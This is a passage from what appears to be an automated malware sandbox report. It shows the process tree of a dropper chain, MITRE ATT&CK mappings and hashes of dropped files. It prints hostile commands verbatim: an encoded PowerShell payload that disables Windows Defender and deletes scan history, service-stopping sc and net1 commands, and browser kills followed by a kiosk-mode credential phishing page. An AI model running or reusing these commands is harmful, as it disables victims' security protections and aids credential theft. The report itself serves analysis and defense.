B0AGkAUwBwAHkAdwBhAHIAZQAgADEAIAAtAFQAeQBwAGUAIABEAHcAbwByAGQAIAAtAEYAbwByAGMAZQAgAC0AZQBhACAAMAANAAoAcwBwACAAJwBIAEsATABNADoAXABTAE8ARgBUAFcAQQBSAEUAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAIABEAGUAZgBlAG4AZABlAHIAJwAgAEQAaQBzAGEAYgBsAGUAQQBuAHQAaQBTAHAAeQB3AGEAcgBlACAAMQAgAC0AVAB5AHAAZQAgAEQAdwBvAHIAZAAgAC0ARgBvAHIAYwBlACAALQBlAGEAIAAwAA0ACgBuAGUAdAAxACAAcwB0AG8AcAAgAHcAaQBuAGQAZQBmAGUAbgBkAA0ACgBzAGMALgBlAHgAZQAgAGMAbwBuAGYAaQBnACAAdwBpAG4AZABlAGYAZQBuAGQAIABkAGUAcABlAG4AZAA9ACAAUgBwAGMAUwBzAC0AVABPAEcARwBMAEUADQAKAGsAaQBsAGwAIAAtAE4AYQBtAGUAIABNAHAAQwBtAGQAUgB1AG4AIAAtAEYAbwByAGMAZQAgAC0AZQBhACAAMAANAAoAcwB0AGEAcgB0ACAAKAAkAGUAbgB2ADoAUAByAG8AZwByAGEAbQBGAGkAbABlAHMAKwAnAFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAE0AcABDAG0AZABSAHUAbgAuAGUAeABlACcAKQAgAC0AQQByAGcAIAAnAC0ARABpAHMAYQBiAGwAZQBTAGUAcgB2AGkAYwBlACcAIAAtAHcAaQBuACAAMQANAAoAZABlAGwAIAAoACQAZQBuAHYAOgBQAHIAbwBnAHIAYQBtAEQAYQB0AGEAKwAnAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzACAARABlAGYAZQBuAGQAZQByAFwAUwBjAGEAbgBzAFwAbQBwAGUAbgBnAGkAbgBlAGQAYgAuAGQAYgAnACkAIAAtAEYAbwByAGMAZQAgAC0AZQBhACAAMAAgACAAIAAgACAAIAAgACAAIAAgACAAIwAjACAAQwBvAG0AbQBlAG4AdABlAGQAIAA9ACAAawBlAGUAcAAgAHMAYwBhAG4AIABoAGkAcwB0AG8AcgB5AA0ACgBkAGUAbAAgACgAJABlAG4AdgA6AFAAcgBvAGcAcgBhAG0ARABhAHQAYQArACcAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAIABEAGUAZgBlAG4AZABlAHIAXABTAGMAYQBuAHMAXABIAGkAcwB0AG8AcgB5AFwAUwBlAHIAdgBpAGMAZQAnACkAIAAtAFIAZQBjAHUAcgBzAGUAIAAtAEYAbwByAGMAZQAgAC0AZQBhACAAMAANAAoAJwBAACAALQBGAG8AcgBjAGUAIAAtAGUAYQAgADAAOwAgAGkAZQB4ACgAKABnAHAAIABSAGUAZwBpAHMAdAByAHkAOgA6AEgASwBFAFkAXwBVAHMAZQByAHMAXABTAC0AMQAtADUALQAyADEAKgBcAFYAbwBsAGEAdABpAGwAZQAqACAAVABvAGcAZwBsAGUARABlAGYAZQBuAGQAZQByACAALQBlAGEAIAAwACkAWwAwAF0ALgBUAG8AZwBnAGwAZQBEAGUAZgBlAG4AZABlAHIAKQANAAoAIwAtAF8ALQAjAA==
                7⤵
                • Suspicious use of NtCreateUserProcessOtherParentProcess
                • System Location Discovery: System Language Discovery
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of WriteProcessMemory
                PID:4532
                • C:\Windows\SysWOW64\sc.exe
                  "C:\Windows\system32\sc.exe" qc windefend
                  8⤵
                  • Launches sc.exe
                  • System Location Discovery: System Language Discovery
                  PID:4136
                • C:\Windows\SysWOW64\cmd.exe
                  "C:\Windows\system32\cmd.exe" /d/r SecurityHealthSystray & "%ProgramFiles%\Windows Defender\MSASCuiL.exe"
                  8⤵
                  • System Location Discovery: System Language Discovery
                  PID:388
                • C:\Windows\SysWOW64\whoami.exe
                  "C:\Windows\system32\whoami.exe" /groups
                  8⤵
                  • System Location Discovery: System Language Discovery
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1584
                • C:\Windows\SysWOW64\net1.exe
                  "C:\Windows\system32\net1.exe" start TrustedInstaller
                  8⤵
                  • System Location Discovery: System Language Discovery
                  PID:3736
              • C:\Windows\SysWOW64\WerFault.exe
                C:\Windows\SysWOW64\WerFault.exe -u -p 3488 -s 2908
                7⤵
                • Program crash
                PID:2384
            • C:\Users\Admin\AppData\Local\Temp\1013745001\b0ca257f9b.exe
              "C:\Users\Admin\AppData\Local\Temp\1013745001\b0ca257f9b.exe"
              6⤵
              • Identifies VirtualBox via ACPI registry values (likely anti-VM)
              • Checks BIOS information in registry
              • Executes dropped EXE
              • Identifies Wine through registry keys
              • Suspicious use of NtSetInformationThreadHideFromDebugger
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              PID:3952
            • C:\Users\Admin\AppData\Local\Temp\1013746001\f8d272256d.exe
              "C:\Users\Admin\AppData\Local\Temp\1013746001\f8d272256d.exe"
              6⤵
              • Identifies VirtualBox via ACPI registry values (likely anti-VM)
              • Checks BIOS information in registry
              • Executes dropped EXE
              • Identifies Wine through registry keys
              • Suspicious use of NtSetInformationThreadHideFromDebugger
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              PID:3356
            • C:\Users\Admin\AppData\Local\Temp\1013747001\d14992054b.exe
              "C:\Users\Admin\AppData\Local\Temp\1013747001\d14992054b.exe"
              6⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of FindShellTrayWindow
              • Suspicious use of SendNotifyMessage
              • Suspicious use of WriteProcessMemory
              PID:4636
              • C:\Windows\SysWOW64\taskkill.exe
                taskkill /F /IM firefox.exe /T
                7⤵
                • System Location Discovery: System Language Discovery
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:3204
              • C:\Windows\SysWOW64\taskkill.exe
                taskkill /F /IM chrome.exe /T
                7⤵
                • System Location Discovery: System Language Discovery
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:1832
              • C:\Windows\SysWOW64\taskkill.exe
                taskkill /F /IM msedge.exe /T
                7⤵
                • System Location Discovery: System Language Discovery
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:4588
              • C:\Windows\SysWOW64\taskkill.exe
                taskkill /F /IM opera.exe /T
                7⤵
                • System Location Discovery: System Language Discovery
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:4716
              • C:\Windows\SysWOW64\taskkill.exe
                taskkill /F /IM brave.exe /T
                7⤵
                • System Location Discovery: System Language Discovery
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:3740
              • C:\Program Files\Mozilla Firefox\firefox.exe
                "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
                7⤵
                  PID:4100
                  • C:\Program Files\Mozilla Firefox\firefox.exe
                    "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
                    8⤵
                    • Checks processor information in registry
                    • Modifies registry class
                    • Suspicious use of AdjustPrivilegeToken
                    • Suspicious use of FindShellTrayWindow
                    • Suspicious use of SendNotifyMessage
                    • Suspicious use of SetWindowsHookEx
                    PID:3804
                    • C:\Program Files\Mozilla Firefox\firefox.exe
                      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2016 -parentBuildID 20240401114208 -prefsHandle 1932 -prefMapHandle 1924 -prefsLen 23680 -prefMapSize 244658 -appDir "C:\Program Files\Mozilla Firefox\browser" - {ba64f23b-4c86-4374-887c-94697e4c4147} 3804 "\\.\pipe\gecko-crash-server-pipe.3804" gpu
                      9⤵
                        PID:2280
                      • C:\Program Files\Mozilla Firefox\firefox.exe
                        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2504 -parentBuildID 20240401114208 -prefsHandle 2472 -prefMapHandle 2468 -prefsLen 24600 -prefMapSize 244658 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {e00f1bb6-05cc-41ec-a547-36f4e6651453} 3804 "\\.\pipe\gecko-crash-server-pipe.3804" socket
                        9⤵
                          PID:4128
                        • C:\Program Files\Mozilla Firefox\firefox.exe
                          "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3424 -childID 1 -isForBrowser -prefsHandle 3416 -prefMapHandle 3412 -prefsLen 22652 -prefMapSize 244658 -jsInitHandle 1256 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {2b5453f3-a54c-49ab-9bbe-ce3e78f3291e} 3804 "\\.\pipe\gecko-crash-server-pipe.3804" tab
                          9⤵
                            PID:696
                          • C:\Program Files\Mozilla Firefox\firefox.exe
                            "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3784 -childID 2 -isForBrowser -prefsHandle 3808 -prefMapHandle 3804 -prefsLen 29090 -prefMapSize 244658 -jsInitHandle 1256 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {7e102057-1b3f-4311-894c-6c699e2f92dd} 3804 "\\.\pipe\gecko-crash-server-pipe.3804" tab
                            9⤵
                              PID:2884
                            • C:\Program Files\Mozilla Firefox\firefox.exe
                              "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4416 -parentBuildID 20240401114208 -sandboxingKind 0 -prefsHandle 4372 -prefMapHandle 4368 -prefsLen 29090 -prefMapSize 244658 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {03e537e7-7b82-4bd3-b3d8-201d403f44ea} 3804 "\\.\pipe\gecko-crash-server-pipe.3804" utility
                              9⤵
                              • Checks processor information in registry
                              PID:6212
                            • C:\Program Files\Mozilla Firefox\firefox.exe
                              "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5124 -childID 3 -isForBrowser -prefsHandle 5036 -prefMapHandle 5116 -prefsLen 26944 -prefMapSize 244658 -jsInitHandle 1256 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {2c34ae08-243c-44a6-b7fb-5f50b7408c24} 3804 "\\.\pipe\gecko-crash-server-pipe.3804" tab
                              9⤵
                                PID:6908
                              • C:\Program Files\Mozilla Firefox\firefox.exe
                                "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5412 -childID 4 -isForBrowser -prefsHandle 5368 -prefMapHandle 5388 -prefsLen 26944 -prefMapSize 244658 -jsInitHandle 1256 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {9f56dd9c-20ca-49d6-a92f-288e1259146b} 3804 "\\.\pipe\gecko-crash-server-pipe.3804" tab
                                9⤵
                                  PID:6940
                                • C:\Program Files\Mozilla Firefox\firefox.exe
                                  "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5600 -childID 5 -isForBrowser -prefsHandle 5608 -prefMapHandle 5612 -prefsLen 26944 -prefMapSize 244658 -jsInitHandle 1256 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {c5b9fd41-3428-4320-850c-6c6c041b62d9} 3804 "\\.\pipe\gecko-crash-server-pipe.3804" tab
                                  9⤵
                                    PID:6952
                            • C:\Users\Admin\AppData\Local\Temp\1013748001\11f1d05df2.exe
                              "C:\Users\Admin\AppData\Local\Temp\1013748001\11f1d05df2.exe"
                              6⤵
                              • Modifies Windows Defender Real-time Protection settings
                              • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                              • Checks BIOS information in registry
                              • Executes dropped EXE
                              • Identifies Wine through registry keys
                              • Windows security modification
                              • Suspicious use of NtSetInformationThreadHideFromDebugger
                              • System Location Discovery: System Language Discovery
                              • Suspicious behavior: EnumeratesProcesses
                              • Suspicious use of AdjustPrivilegeToken
                              PID:4828
                            • C:\Users\Admin\AppData\Local\Temp\1013749001\76a222939c.exe
                              "C:\Users\Admin\AppData\Local\Temp\1013749001\76a222939c.exe"
                              6⤵
                              • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                              • Checks BIOS information in registry
                              • Executes dropped EXE
                              • Identifies Wine through registry keys
                              • Suspicious use of NtSetInformationThreadHideFromDebugger
                              • System Location Discovery: System Language Discovery
                              • Suspicious behavior: EnumeratesProcesses
                              PID:1612
                              • C:\Windows\SysWOW64\WerFault.exe
                                C:\Windows\SysWOW64\WerFault.exe -u -p 1612 -s 764
                                7⤵
                                • Program crash
                                PID:5800
                        • C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\2b3011.exe
                          C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\2b3011.exe
                          4⤵
                          • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                          • Checks BIOS information in registry
                          • Executes dropped EXE
                          • Identifies Wine through registry keys
                          • Suspicious use of NtSetInformationThreadHideFromDebugger
                          • System Location Discovery: System Language Discovery
                          • Suspicious behavior: EnumeratesProcesses
                          PID:3020
                      • C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\3S87A.exe
                        C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\3S87A.exe
                        3⤵
                        • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                        • Checks BIOS information in registry
                        • Executes dropped EXE
                        • Identifies Wine through registry keys
                        • Suspicious use of NtSetInformationThreadHideFromDebugger
                        • System Location Discovery: System Language Discovery
                        • Suspicious behavior: EnumeratesProcesses
                        PID:1584
                    • C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\4I148J.exe
                      C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\4I148J.exe
                      2⤵
                      • Modifies Windows Defender Real-time Protection settings
                      • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                      • Checks BIOS information in registry
                      • Executes dropped EXE
                      • Identifies Wine through registry keys
                      • Windows security modification
                      • Suspicious use of NtSetInformationThreadHideFromDebugger
                      • System Location Discovery: System Language Discovery
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      PID:4540
                  • C:\Windows\servicing\TrustedInstaller.exe
                    C:\Windows\servicing\TrustedInstaller.exe
                    1⤵
                      PID:3188
                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                        powershell -nop -win 1 -c & {rp hkcu:\environment windir -ea 0;$AveYo=' (\ /) ( * . * ) A limited account protects you from UAC exploits ``` ';$env:1=6;iex((gp Registry::HKEY_Users\S-1-5-21*\Volatile* ToggleDefender -ea 0)[0].ToggleDefender)}
                        2⤵
                        • Command and Scripting Interpreter: PowerShell
                        • System Location Discovery: System Language Discovery
                        • Modifies data under HKEY_USERS
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of AdjustPrivilegeToken
                        PID:5000
                        • C:\Windows\SysWOW64\sc.exe
                          "C:\Windows\system32\sc.exe" qc windefend
                          3⤵
                          • Launches sc.exe
                          • System Location Discovery: System Language Discovery
                          PID:5456
                        • C:\Windows\SysWOW64\cmd.exe
                          "C:\Windows\system32\cmd.exe" /d/r SecurityHealthSystray & "%ProgramFiles%\Windows Defender\MSASCuiL.exe"
                          3⤵
                          • System Location Discovery: System Language Discovery
                          PID:5540
                        • C:\Windows\SysWOW64\whoami.exe
                          "C:\Windows\system32\whoami.exe" /groups
                          3⤵
                          • System Location Discovery: System Language Discovery
                          • Suspicious use of AdjustPrivilegeToken
                          PID:5792
                        • C:\Windows\SysWOW64\net1.exe
                          "C:\Windows\system32\net1.exe" stop windefend
                          3⤵
                          • System Location Discovery: System Language Discovery
                          PID:5812
                        • C:\Windows\SysWOW64\sc.exe
                          "C:\Windows\system32\sc.exe" config windefend depend= RpcSs-TOGGLE
                          3⤵
                          • Launches sc.exe
                          • System Location Discovery: System Language Discovery
                          PID:5828
                    • C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
                      C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
                      1⤵
                      • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                      • Checks BIOS information in registry
                      • Executes dropped EXE
                      • Identifies Wine through registry keys
                      • Suspicious use of NtSetInformationThreadHideFromDebugger
                      • Suspicious behavior: EnumeratesProcesses
                      PID:2540
                    • C:\Windows\SysWOW64\WerFault.exe
                      C:\Windows\SysWOW64\WerFault.exe -pss -s 404 -p 3488 -ip 3488
                      1⤵
                        PID:4732
                      • C:\Windows\SysWOW64\WerFault.exe
                        C:\Windows\SysWOW64\WerFault.exe -pss -s 436 -p 1612 -ip 1612
                        1⤵
                          PID:5192
                        • C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
                          C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
                          1⤵
                          • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                          • Checks BIOS information in registry
                          • Executes dropped EXE
                          • Identifies Wine through registry keys
                          • Suspicious use of NtSetInformationThreadHideFromDebugger
                          • Suspicious behavior: EnumeratesProcesses
                          PID:968
                        • C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
                          C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
                          1⤵
                          • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                          • Checks BIOS information in registry
                          • Executes dropped EXE
                          • Identifies Wine through registry keys
                          • Suspicious use of NtSetInformationThreadHideFromDebugger
                          • Suspicious behavior: EnumeratesProcesses
                          PID:4276

                        Network

                        MITRE ATT&CK Enterprise v15

                        Reconnaissance

                        Resource Development

                        Initial Access

                        Execution

                        Command and Scripting Interpreter

                        1
                        T1059

                        PowerShell

                        1
                        T1059.001

                        Persistence

                        Boot or Logon Autostart Execution

                        1
                        T1547

                        Registry Run Keys / Startup Folder

                        1
                        T1547.001

                        Create or Modify System Process

                        1
                        T1543

                        Windows Service

                        1
                        T1543.003

                        Privilege Escalation

                        Boot or Logon Autostart Execution

                        1
                        T1547

                        Registry Run Keys / Startup Folder

                        1
                        T1547.001

                        Create or Modify System Process

                        1
                        T1543

                        Windows Service

                        1
                        T1543.003

                        Defense Evasion

                        Impair Defenses

                        2
                        T1562

                        Disable or Modify Tools

                        2
                        T1562.001

                        Modify Registry

                        3
                        T1112

                        Virtualization/Sandbox Evasion

                        2
                        T1497

                        Credential Access

                        Credentials from Password Stores

                        1
                        T1555

                        Credentials from Web Browsers

                        1
                        T1555.003

                        Unsecured Credentials

                        1
                        T1552

                        Credentials In Files

                        1
                        T1552.001

                        Discovery

                        Browser Information Discovery

                        1
                        T1217

                        Query Registry

                        7
                        T1012

                        System Information Discovery

                        4
                        T1082

                        System Location Discovery

                        1
                        T1614

                        System Language Discovery

                        1
                        T1614.001

                        Virtualization/Sandbox Evasion

                        2
                        T1497

                        Lateral Movement

                        Collection

                        Data from Local System

                        1
                        T1005

                        Command and Control

                        Exfiltration

                        Impact

                        Replay Monitor

                        Loading Replay Monitor...

                        Downloads

                        • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
                          Filesize

                          2KB

                          MD5

                          25604a2821749d30ca35877a7669dff9

                          SHA1

                          49c624275363c7b6768452db6868f8100aa967be

                          SHA256

                          7f036b1837d205690b992027eb8b81939ba0228fc296d3f30039eeba00bd4476

                          SHA512

                          206d70af0b332208ace2565699f5b5da82b6a3806ffa51dd05f16ab568a887d63449da79bbaeb46183038837446a49515d62cb6615e5c5b27563cd5f774b93f5

                          Download Submit

                        • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\VKYZDMA5\download[1].htm
                          Filesize

                          1B

                          MD5

                          cfcd208495d565ef66e7dff9f98764da

                          SHA1

                          b6589fc6ab0dc82cf12099d1c2d40ab994e8410c

                          SHA256

                          5feceb66ffc86f38d952786c6d696c79c2dbc239dd4e91b46729d73a27fb57e9

                          SHA512

                          31bca02094eb78126a517b206a88c73cfa9ec6f704c7030d18212cace820f025f00bf0ea68dbf3f3a5436ca63b53bf7bf80ad8d5de7d8359d0b7fed9dbc3ab99

                          Download Submit

                        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                          Filesize

                          21KB

                          MD5

                          d4921d634b3f4f1ae3370f36ad31d8e0

                          SHA1

                          6914196cddb3def2d9a002827854f5f98faf41c3

                          SHA256

                          eabedcd9de954ffa8390f6dfc7886e41a2d783ed8ad1b987215f437fbf17e613

                          SHA512

                          b2015096a4d1276700f31436f1620adb437091bad1c98a8528cfa90cdadbad79290166a25696ddde72d0455b6e22098756d5d09aa8c208b0094ae6f5619564e7

                          Download Submit

                        • C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\42vejdix.default-release\activity-stream.discovery_stream.json.tmp
                          Filesize

                          19KB

                          MD5

                          4a353d254048feb3ad02008282891198

                          SHA1

                          5fa97402cfd2809f320ff11452c7f64d342a0889

                          SHA256

                          eb919086445dbbb127fd21447d64cf7bfb643f80c12c10ef2ea8d935aed9f611

                          SHA512

                          63a58f7673348e95cd57b257b576ff31bb4a1fb12e4fd2b10457a8d4571794275e32d66e411f13eccf5675acea909bdabe21b5bf60cafe85efdb16b8bd040e10

                          Download Submit

                        • C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\42vejdix.default-release\cache2\entries\92F4D5A4F9CED6E2E644D803AEE3647A0EA4D984
                          Filesize

                          13KB

                          MD5

                          c0e48385ea7150833fd8f12b5b5291c8

                          SHA1

                          e2a2f4ac9be2baabce5f1ffb04f38390a86625a5

                          SHA256

                          750a8fa96f466e0dedfb22074bfceead23f81e9932a108e195e96b0fe5d486be

                          SHA512

                          108526e11f044891e86506ef8ac2ecd1a770b26f4ef67d36252fe871c7d093c4400d12c98c9054a015b47f09eb697f37bf639becaabc5c24fa7df19bd1f2f703

                          Download Submit

                        • C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\42vejdix.default-release\settings\main\ms-language-packs\browser\newtab\asrouter.ftl
                          Filesize

                          15KB

                          MD5

                          96c542dec016d9ec1ecc4dddfcbaac66

                          SHA1

                          6199f7648bb744efa58acf7b96fee85d938389e4

                          SHA256

                          7f32769d6bb4e875f58ceb9e2fbfdc9bd6b82397eca7a4c5230b0786e68f1798

                          SHA512

                          cda2f159c3565bc636e0523c893b293109de2717142871b1ec78f335c12bad96fc3f62bcf56a1a88abdeed2ac3f3e5e9a008b45e24d713e13c23103acc15e658

                          Download Submit

                        • C:\Users\Admin\AppData\Local\Temp\1013644001\Z9Pp9pM.exe
                          Filesize

                          2.5MB

                          MD5

                          2a78ce9f3872f5e591d643459cabe476

                          SHA1

                          9ac947dfc71a868bc9c2eb2bd78dfb433067682e

                          SHA256

                          21a2ac44acd7a640735870eebfd04b8dc57bc66877cb5be3b929299e86a43dae

                          SHA512

                          03e2cd8161a1394ee535a2ea7d197791ab715d69a02ffab98121ec5ac8150d2b17a9a32a59307042c4bbeffad7425b55efa047651de6ed39277dba80711454f9

                          Download Submit

                        • C:\Users\Admin\AppData\Local\Temp\1013675001\H3tyh96.exe
                          Filesize

                          1.7MB

                          MD5

                          40f8c17c136d4dc83b130c9467cf6dcc

                          SHA1

                          e9b6049aa7da0af9718f2f4ae91653d9bac403bb

                          SHA256

                          cafb60920939bd2079d96f2e6e73f87632bc15bd72998f864e8968f7aab9623b

                          SHA512

                          6760a0752957535ec45ce3307e31569ac263eb73157d6a424d6e30647651a4e93db7c0378028d9e0ce07e65a357d2bb81047064ccda2f6a13fa7402ee7794c2d

                          Download Submit

                        • C:\Users\Admin\AppData\Local\Temp\1013747001\d14992054b.exe
                          Filesize

                          947KB

                          MD5

                          a955eb764df77529739f6643d791d4a4

                          SHA1

                          ee5831be1b650ae2e85e2dc98dce70d7f12d6a00

                          SHA256

                          8f157c568304079aed462f6de759a8a406f4349921daba8c9ba53a47980413f5

                          SHA512

                          53695cb1b1c2b2be7483449311989ec44ef1086b133e6c62f0f3b01ea8bdf1e2c1d7bcce9a269dacb70a5b2adc3afea4bc66d33516e8e7474569b6cbad54ab82

                          Download Submit

                        • C:\Users\Admin\AppData\Local\Temp\1013749001\76a222939c.exe
                          Filesize

                          1.9MB

                          MD5

                          b16a303612f8717a90851727a25fdf61

                          SHA1

                          20281be28ae8c170b6dff5939fabd5616e9b7d23

                          SHA256

                          14a7faa5a16cbc6e031beb668ec24d78b04d8fe4959766cf11722932b93317dc

                          SHA512

                          c1c83b89a760997dc6740d940628fb7d68e3d82018b55c428ac1fcec0cde4b81ca943ef3dfd247212a14dd5b0eac20e4b4ba7f55b6154ea33a75920be032e196

                          Download Submit

                        • C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\4I148J.exe
                          Filesize

                          2.6MB

                          MD5

                          09d5a4c9aaaf68609b57f50ef9bc3d10

                          SHA1

                          35ce908eb0034288bd5cbdcfe46b992a7a5de041

                          SHA256

                          787d624b7d5ca90212789c2cb876db3da2429108729f25f2e6a20f0c64b2473a

                          SHA512

                          ad2f7f8e451210c86a394704e8805d4c497d4b42d6cedfad46167d04a5f1cc6e437e87872569ded77d7106d166880355390ba2f08cdec7a538b847ca5a88d11e

                          Download Submit

                        • C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\F6W49.exe
                          Filesize

                          5.4MB

                          MD5

                          5b4da92b919f3ceb8d6c7025b2950df2

                          SHA1

                          feafd3b962a05eeef9a8468eea61c097a0d553a2

                          SHA256

                          4355f6ca34cfcb42c600fb9b328a937f5fb98e7571bfae97b9fb85d082549b05

                          SHA512

                          6384db88719051dc1d9eea2e49f0e4b93819f9f52397481bb52afaadb4e627d27102ab4a38ea374f160c50d10fae86272187220a588f1589446e366224cd2fc0

                          Download Submit

                        • C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\3S87A.exe
                          Filesize

                          1.7MB

                          MD5

                          288001b65d38a2878e7d1f424b419f3c

                          SHA1

                          c215fe8ed0d086ce614fcba865954697364dfde8

                          SHA256

                          868eda914f608108639b82ddad28ba808eed057111f6d82ad8a3d20c1773be63

                          SHA512

                          4e4983ddb993e4c2956f241608ee95b04796a62dc170181b400dde198dc2225ba95db96f8c63163624355cbce5c6ce552b3e1d552b401032dfc2a723f3aaa59f

                          Download Submit

                        • C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\s0n62.exe
                          Filesize

                          3.5MB

                          MD5

                          5d2868645e25af8446b0111ec839e16d

                          SHA1

                          2389be1b09f8ebb1720e76d3a8d072b96f9533db

                          SHA256

                          2cbae9a9c84843a1157ed48798f6e6cbe36a26a7563818eb71b0f4d6fa5a87ac

                          SHA512

                          3e10914d1113a33a5f1c92ce5e503a60bb1cbd789195a248dd0891550c6d053e56056cd296df2f55f9ce3bcc194827d6c488bdda38eded12103d58f71b02477d

                          Download Submit

                        • C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\1T36h5.exe
                          Filesize

                          3.1MB

                          MD5

                          f2f1e44d66a7142f3224767e23212d69

                          SHA1

                          ac045bd0e055e3980662fae03f20860c98adc480

                          SHA256

                          8d8bb5e7534e8ba13cf1e6696463dc2219bf16e052325b5371c7e484b2c28fe7

                          SHA512

                          876049eefbf91ef5e423a401cfc9e377aaac386834f3659b411fcded6369edc45a904a808a3b477ea659542e7da19ed6d3d1f8a57799debdc3b507186a7cc6de

                          Download Submit

                        • C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\2b3011.exe
                          Filesize

                          1.8MB

                          MD5

                          78eec814d6034177867d547093eaf7d8

                          SHA1

                          d8267c5ab4bc8a1194901ef66d0d1ea65b2d40a1

                          SHA256

                          8bfdc1e85021c5cb619aa4d502a5a6cb16cba8cc0c3442828db08dbcdf0a68b2

                          SHA512

                          38bfb3e5dd2e3c4ddb6d226d1fa11c5cba75870b53908a7839ce669c84b1fe83197fd06a2c9e953b4f486d8b926d4966deaa533a28fd8c29dd70ae6db7bb3637

                          Download Submit

                        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_dmvwzcoe.0xk.ps1
                          Filesize

                          60B

                          MD5

                          d17fe0a3f47be24a6453e9ef58c94641

                          SHA1

                          6ab83620379fc69f80c0242105ddffd7d98d5d9d

                          SHA256

                          96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                          SHA512

                          5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                          Download Submit

                        • C:\Users\Admin\AppData\Local\Temp\tmpaddon
                          Filesize

                          479KB

                          MD5

                          09372174e83dbbf696ee732fd2e875bb

                          SHA1

                          ba360186ba650a769f9303f48b7200fb5eaccee1

                          SHA256

                          c32efac42faf4b9878fb8917c5e71d89ff40de580c4f52f62e11c6cfab55167f

                          SHA512

                          b667086ed49579592d435df2b486fe30ba1b62ddd169f19e700cd079239747dd3e20058c285fa9c10a533e34f22b5198ed9b1f92ae560a3067f3e3feacc724f1

                          Download Submit

                        • C:\Users\Admin\AppData\Local\Temp\tmpaddon-1
                          Filesize

                          13.8MB

                          MD5

                          0a8747a2ac9ac08ae9508f36c6d75692

                          SHA1

                          b287a96fd6cc12433adb42193dfe06111c38eaf0

                          SHA256

                          32d544baf2facc893057a1d97db33207e642f0dacf235d8500a0b5eff934ce03

                          SHA512

